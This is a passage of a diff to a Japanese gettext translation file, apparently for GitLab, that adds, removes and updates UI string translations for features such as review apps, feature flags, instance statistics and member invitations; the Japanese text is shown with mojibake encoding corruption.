+msgstr "%{stepStart}ステップ2%{stepEnd}: 次ã®ã‚¹ãƒ‹ãƒšãƒƒãƒˆã‚’コピーã—ã¾ã™:"
msgid "EnableReviewApp|%{stepStart}Step 3%{stepEnd}. Add it to the project %{linkStart}gitlab-ci.yml%{linkEnd} file."
-msgstr ""
+msgstr "%{stepStart}ステップ3%{stepEnd}: ãれをプロジェクト㮠%{linkStart}gitlab-ci.yml%{linkEnd} ファイルã«è¿½åŠ ã—ã¾ã™ã€‚"
msgid "EnableReviewApp|Close"
-msgstr ""
+msgstr "é–‰ã˜ã‚‹"
msgid "EnableReviewApp|Copy snippet text"
-msgstr ""
+msgstr "スニペットをコピー"
msgid "Enabled"
msgstr "有効"
@@ -9955,7 +10287,7 @@ msgid "Enabling this will only make licensed EE features available to projects i
msgstr "ã“れを有効ã«ã™ã‚‹ã¨ã€ãƒ—ロジェクトåå‰ç©ºé–“ã®è¨ˆç”»ã«ãã®æ©Ÿèƒ½ãŒå«ã¾ã‚Œã¦ã„ã‚‹å ´åˆã€ã¾ãŸã¯ãƒ—ロジェクトãŒå…¬é–‹ã•ã‚Œã¦ã„ã‚‹å ´åˆã«ã®ã¿ã€ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã•ã‚ŒãŸEE機能ãŒãã®ãƒ—ロジェクトã§ä½¿ç”¨å¯èƒ½ã«ãªã‚Šã¾ã™ã€‚"
msgid "Encountered an error while rendering: %{err}"
-msgstr ""
+msgstr "レンダリング中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ: %{err}"
msgid "End Time"
msgstr ""
@@ -10018,10 +10350,10 @@ msgid "Enter new AWS Secret Access Key"
msgstr "æ–°ã—ã„AWSシークレットアクセスキーを入力ã—ã¾ã™"
msgid "Enter number of issues"
-msgstr ""
+msgstr "課題数を入力ã—ã¦ãã ã•ã„"
msgid "Enter one or more user ID separated by commas"
-msgstr ""
+msgstr "ユーザーID入力ã—ã¦ãã ã•ã„。二ã¤ä»¥ä¸Šå…¥åŠ›ã™ã‚‹ã¨ãã¯ã‚«ãƒ³ãƒžåŒºåˆ‡ã‚Šã§ã™ã€‚"
msgid "Enter the code from the two-factor app on your mobile device. If you've lost your device, you may enter one of your recovery codes."
msgstr "モãƒã‚¤ãƒ«ç«¯æœ«ã®2è¦ç´ èªè¨¼ã‚¢ãƒ—リã‹ã‚‰ã‚³ãƒ¼ãƒ‰ã‚’入力ã—ã¾ã™ã€‚デãƒã‚¤ã‚¹ã‚’紛失ã—ãŸå ´åˆã¯ã€ãƒªã‚«ãƒãƒªãƒ¼ã‚³ãƒ¼ãƒ‰ã®ã„ãšã‚Œã‹ã‚’入力ã—ã¦ãã ã•ã„。"
@@ -10167,6 +10499,9 @@ msgstr "ç¾åœ¨ã™ã¹ã¦ã®çµæžœã‚’表示ã—ã¦ã„ã¾ã™ã€‚"
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10278,6 +10613,9 @@ msgstr "環境ã®åœæ­¢"
msgid "Environments|Stopping"
msgstr "åœæ­¢ä¸­"
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10515,9 +10853,6 @@ msgstr "テンプレートã®èª­ã¿è¾¼ã¿ã§ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "Error loading viewer"
msgstr "ビューワーã®èª­ã¿è¾¼ã¿ã«å¤±æ•—ã—ã¾ã—ãŸ"
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr "サイドãƒãƒ¼ãƒ‡ãƒ¼ã‚¿ã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -10554,6 +10889,9 @@ msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ユーザーã¯ãƒ–ロック解除ã•ã‚Œ
msgid "Error occurred. User was not unlocked"
msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ユーザーã¯ãƒ­ãƒƒã‚¯è§£é™¤ã•ã‚Œã¾ã›ã‚“ã§ã—ãŸ"
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr "Markdownプレビューã®ãƒ¬ãƒ³ãƒ€ãƒªãƒ³ã‚°ã‚¨ãƒ©ãƒ¼"
@@ -10632,6 +10970,9 @@ msgstr "プロジェクトã®é¸æŠžã‚’有効ã«ã™ã‚‹ã«ã¯ã€æœ‰åŠ¹ãªèªè¨¼ãƒˆ
msgid "Errors"
msgstr "エラー"
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10866,6 +11207,9 @@ msgstr ""
msgid "Export as CSV"
msgstr "CSV å½¢å¼ã§ã‚¨ã‚¯ã‚¹ãƒãƒ¼ãƒˆ"
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -10974,6 +11318,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr "ã“ã®èª²é¡Œã®ãŸã‚ã®ãƒ–ランãƒã®ä½œæˆã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11109,6 +11456,9 @@ msgstr "ユーザーキーを削除ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
msgid "Failed to reset key. Please try again."
msgstr "キーをリセットã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ãŠè©¦ã—下ã•ã„。"
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr "マージã®ç«¶åˆã®è§£æ±ºã‚’ä¿å­˜ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -11148,6 +11498,9 @@ msgstr "課題ã®æ›´æ–°ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã 
msgid "Failed to update tag!"
msgstr "ã‚¿ã‚°ã®æ›´æ–°ã«å¤±æ•—ã—ã¾ã—ãŸ"
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr "æ›´æ–°ã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
@@ -11187,12 +11540,18 @@ msgstr "Faviconã¯æ­£å¸¸ã«å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
msgid "Feature Flags"
msgstr "機能フラグ"
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr "機能フラグを削除ã—ã¾ã›ã‚“ã§ã—ãŸã€‚"
msgid "Feature flag was successfully removed."
msgstr "機能フラグを正常ã«å‰Šé™¤ã—ã¾ã—ãŸã€‚"
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11359,6 +11718,9 @@ msgstr "æ–°ã—ã„機能フラグ"
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11383,9 +11745,6 @@ msgstr "ロールアウトパーセント"
msgid "FeatureFlags|Rollout Strategy"
msgstr "ロールアウト戦略"
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11446,6 +11805,9 @@ msgstr "2月"
msgid "February"
msgstr "2月"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr "å—信メールをå–å¾—"
@@ -11488,8 +11850,8 @@ msgstr "ファイルå"
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
-msgstr "ファイルåŒæœŸå®¹é‡"
+msgid "File synchronization concurrency limit"
+msgstr ""
msgid "File templates"
msgstr "ファイルテンプレート"
@@ -11614,12 +11976,6 @@ msgstr "既存ã®ãƒ¡ãƒ³ãƒãƒ¼ã‚’åå‰ã§æŽ¢ã™"
msgid "Find file"
msgstr "ファイルを検索"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr "ダウンロードã—㟠ZIP ファイルを展開ã—ã¾ã™ã€‚"
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr "フィンガープリント"
@@ -11644,9 +12000,6 @@ msgstr "一週間ã®é–‹å§‹æ›œæ—¥"
msgid "First name"
msgstr "åå‰"
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr "最åˆã«è¦‹ãŸ"
@@ -11692,9 +12045,6 @@ msgstr "FogBugz ã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
msgid "Folder/%{name}"
msgstr "フォルダ/%{name}"
-msgid "Follow the steps below to export your Google Code project data."
-msgstr "Google コードã®ãƒ—ロジェクトデータをエクスãƒãƒ¼ãƒˆã™ã‚‹ã«ã¯ã€ä»¥ä¸‹ã®æ‰‹é †ã«å¾“ã£ã¦ãã ã•ã„。"
-
msgid "Font Color"
msgstr "フォントã®è‰²"
@@ -11779,6 +12129,9 @@ msgstr "%{gitlab_ci_yml} ã«ã‚¨ãƒ©ãƒ¼ãŒã‚ã‚Šã¾ã™"
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ".gitlab-ci.yml ã«ã‚¨ãƒ©ãƒ¼ãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ:"
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr "無料トライアル"
@@ -11806,9 +12159,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr "%{providerTitle} ã‹ã‚‰"
-msgid "From Google Code"
-msgstr "Google コードã‹ã‚‰"
-
msgid "From issue creation until deploy to production"
msgstr "課題ãŒç™»éŒ²ã•ã‚Œã¦ã‹ã‚‰ãƒ—ロダクションã«ãƒ‡ãƒ—ロイã•ã‚Œã‚‹ã¾ã§"
@@ -12295,6 +12645,9 @@ msgstr "GitLab / 購読解除"
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12328,6 +12681,9 @@ msgstr "GitLab ユーザー"
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr "GitLab ã®ã‚³ãƒŸãƒƒãƒˆ"
@@ -12538,15 +12894,12 @@ msgstr "å‰ã«æˆ»ã‚‹"
msgid "Go back (while searching for files)"
msgstr "戻る(ファイルã®æ¤œç´¢ä¸­)"
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
-msgstr "%{startTag} オープンãªèª²é¡Œ %{endTag} ã«æˆ»ã£ã¦ã€èª²é¡Œã‚’é¸æŠžã—ã¦ãƒœãƒ¼ãƒ‰ã«è¿½åŠ ã—ã¾ã™ã€‚"
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
+msgstr ""
msgid "Go full screen"
msgstr "全画é¢è¡¨ç¤º"
-msgid "Go to %{link_to_google_takeout}."
-msgstr "%{link_to_google_takeout} ã«ç§»å‹•ã—ã¾ã™ã€‚"
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12661,12 +13014,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr "Google Cloud Platform"
-msgid "Google Code import"
-msgstr "Google コードã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
-
-msgid "Google Takeout"
-msgstr "Google テイクアウト"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr "Google èªè¨¼ãŒ %{link_start} é©åˆ‡ã«è¨­å®šã•ã‚Œã¦ã„ã¾ã›ã‚“。%{link_end} ã“ã®ã‚µãƒ¼ãƒ“スを使用ã™ã‚‹ãªã‚‰ GitLab ã®ç®¡ç†è€…ã«å°‹ã­ã¦ãã ã•ã„。"
@@ -12901,6 +13248,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr "エピックã®èª­ã¿è¾¼ã¿ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -13268,10 +13621,10 @@ msgid "GroupsNew|Contact an administrator to enable options for importing your g
msgstr ""
msgid "GroupsNew|Create"
-msgstr ""
+msgstr "作æˆ"
msgid "GroupsNew|Create group"
-msgstr ""
+msgstr "グループを作æˆ"
msgid "GroupsNew|Import"
msgstr ""
@@ -13294,12 +13647,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr "\"%{fullName}\" グループã‹ã‚‰é›¢è„±ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
-msgid "GroupsTree|Create a project in this group."
-msgstr "ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã«ãƒ—ロジェクトを作æˆã™ã‚‹ã€‚"
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr "ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã«ã‚µãƒ–グループを作æˆã™ã‚‹"
-
msgid "GroupsTree|Edit group"
msgstr "グループを編集"
@@ -13375,6 +13722,9 @@ msgstr "正常性ã«å•é¡Œã¯ã‚ã‚Šã¾ã›ã‚“"
msgid "HealthCheck|Unhealthy"
msgstr "異常"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr "ã“ã‚“ã«ã¡ã¯"
@@ -13524,9 +13874,6 @@ msgstr "Elasticseachã®ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ã‚’分割ã™ã‚‹ã‚·ãƒ£ãƒ¼ãƒ‰æ•°"
msgid "How many users will be evaluating the trial?"
msgstr "トライアルを評価ã™ã‚‹ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯ä½•äººã§ã™ã‹ï¼Ÿ"
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "ã—ã‹ã—ã€ã‚ãªãŸã¯ã™ã§ã«ã“ã® %{member_source} ã®ãƒ¡ãƒ³ãƒãƒ¼ã§ã™ã€‚招待をå—ã‘入れるã«ã¯ã€åˆ¥ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’使用ã—ã¦ã‚µã‚¤ãƒ³ã‚¤ãƒ³ã—ã¦ãã ã•ã„。"
@@ -13668,6 +14015,9 @@ msgstr "ã“ã‚ŒãŒé–“é•ã„ã ã£ãŸå ´åˆã¯ %{source_type} ã‚’ãã®ã¾ã¾ã«ã
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr "GitHub を使用ã—ã¦ã„ã‚‹å ´åˆã€GitHub 上ã®ã‚³ãƒŸãƒƒãƒˆã‚„プルリクエストã‹ã‚‰ãƒ‘イプラインã®çŠ¶æ…‹ã‚’確èªã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚%{more_info_link}"
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13742,12 +14092,6 @@ msgstr "CSV ã®å–ã‚Šè¾¼ã¿"
msgid "Import Projects from Gitea"
msgstr "Gitea ã‹ã‚‰ãƒ—ロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
-msgid "Import all compatible projects"
-msgstr "å…¨ã¦ã®äº’æ›æ€§ã®ã‚るプロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
-
-msgid "Import all projects"
-msgstr "全プロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
-
msgid "Import an exported GitLab project"
msgstr "エクスãƒãƒ¼ãƒˆã—㟠GItLab プロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
@@ -13799,9 +14143,6 @@ msgstr "FogBugz ã‹ã‚‰ãƒ—ロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
msgid "Import projects from GitLab.com"
msgstr "GitLab.com ã‹ã‚‰ãƒ—ロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
-msgid "Import projects from Google Code"
-msgstr "Google コードã‹ã‚‰ãƒ—ロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
-
msgid "Import repositories from Bitbucket Server"
msgstr "Bitbucket Server ã‹ã‚‰ãƒªãƒã‚¸ãƒˆãƒªã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
@@ -13832,6 +14173,9 @@ msgstr "インãƒãƒ¼ãƒˆ/エクスãƒãƒ¼ãƒˆã®èª¬æ˜Ž"
msgid "ImportButtons|Connect repositories from"
msgstr "リãƒã‚¸ãƒˆãƒªã¸æŽ¥ç¶š"
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "ブロックã•ã‚ŒãŸã‚¤ãƒ³ãƒãƒ¼ãƒˆURL: %{message}"
@@ -13865,6 +14209,9 @@ msgstr "リãƒã‚¸ãƒˆãƒªã‚’作æˆã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -13895,9 +14242,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr "次ã®ã‚¹ãƒ†ãƒƒãƒ—ã§ã¯ã€ã‚¤ãƒ³ãƒãƒ¼ãƒˆã™ã‚‹ãƒ—ロジェクトをé¸æŠžã—ã¾ã™ã€‚"
-
msgid "Incident"
msgstr ""
@@ -14075,9 +14419,6 @@ msgstr "å—信メール"
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr "互æ›æ€§ã®ãªã„プロジェクト"
-
msgid "Incompatible options set!"
msgstr "互æ›æ€§ã®ãªã„オプションãŒã‚»ãƒƒãƒˆã•ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -14162,9 +14503,6 @@ msgstr "GitLab Runner ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«"
msgid "Install Runner on Kubernetes"
msgstr "Kubernetes 㫠Runner をインストール"
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr "アプリケーションリãƒã‚¸ãƒˆãƒªã‹ã‚‰ %{free_otp_link} ã‚„Google èªè¨¼ãªã©ã®ã‚½ãƒ•ãƒˆèªè¨¼ãƒˆãƒ¼ã‚¯ãƒ³ã‚’インストールã—ã€ãれを使ã£ã¦ã“ã®QRコードをスキャンã—ã¾ã™ã€‚より詳ã—ã„情報㯠%{help_link_start} 文書 %{help_link_end} ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
@@ -14187,73 +14525,79 @@ msgstr[0] "インスタンス"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
-msgstr ""
-
msgid "Instance administrators group already exists"
msgstr "インスタンス管ç†è€…グループã¯æ—¢ã«å­˜åœ¨ã—ã¾ã™"
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14292,6 +14636,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14325,7 +14672,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14343,6 +14699,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14364,6 +14723,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr "貢献をã—ãŸã„関係者ã¯ã€ã‚³ãƒŸãƒƒãƒˆã‚’プッシュã™ã‚‹ã“ã¨ã§è²¢çŒ®ã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚"
@@ -14439,6 +14801,9 @@ msgstr ""
msgid "Invalid file."
msgstr "無効ãªãƒ•ã‚¡ã‚¤ãƒ«ã§ã™ã€‚"
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr "無効ãªã‚¤ãƒ³ãƒãƒ¼ãƒˆãƒ‘ラメーターã§ã™"
@@ -14481,6 +14846,9 @@ msgstr "無効ãª2è¦ç´ èªè¨¼ã‚³ãƒ¼ãƒ‰ã§ã™ã€‚"
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr "招待状"
@@ -14505,6 +14873,9 @@ msgstr "グループã«æ‹›å¾…ã™ã‚‹"
msgid "Invite member"
msgstr "メンãƒãƒ¼ã‚’招待ã™ã‚‹"
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14550,6 +14921,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14559,16 +14933,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14676,9 +15050,6 @@ msgstr "課題分æž"
msgid "Issue Boards"
msgstr "課題ボード"
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14742,6 +15113,9 @@ msgstr "ステータス"
msgid "IssueAnalytics|Weight"
msgstr "ウェイト"
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr "ボード"
@@ -14877,10 +15251,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15057,6 +15431,27 @@ msgstr "ジョブãŒå†è©¦è¡Œã•ã‚Œã¾ã—ãŸ"
msgid "Jobs"
msgstr "ジョブ"
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr "ブラウズ"
@@ -15186,6 +15581,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15367,9 +15765,6 @@ msgstr ""
msgid "Last name"
msgstr "姓"
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr "最後ã®è¿”ä¿¡"
@@ -15463,6 +15858,9 @@ msgstr "Kubernetes ã®è©³ç´°"
msgid "Learn more about License-Check"
msgstr "ライセンスãƒã‚§ãƒƒã‚¯ã®è©³ç´°ã«ã¤ã„ã¦"
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr "脆弱性ãƒã‚§ãƒƒã‚¯ã®è©³ç´°ã«ã¤ã„ã¦"
@@ -15490,9 +15888,6 @@ msgstr "クラスターã¸ã®ãƒ‡ãƒ—ロイã®è©³ç´°ã«ã¤ã„ã¦"
msgid "Learn more about group-level project templates"
msgstr "グループレベルプロジェクトテンプレートã®è©³ç´°"
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr "コミットã¸ã®ç½²åã®è©³ç´°"
@@ -15523,9 +15918,6 @@ msgstr "グループを離脱"
msgid "Leave project"
msgstr "プロジェクトを離脱"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
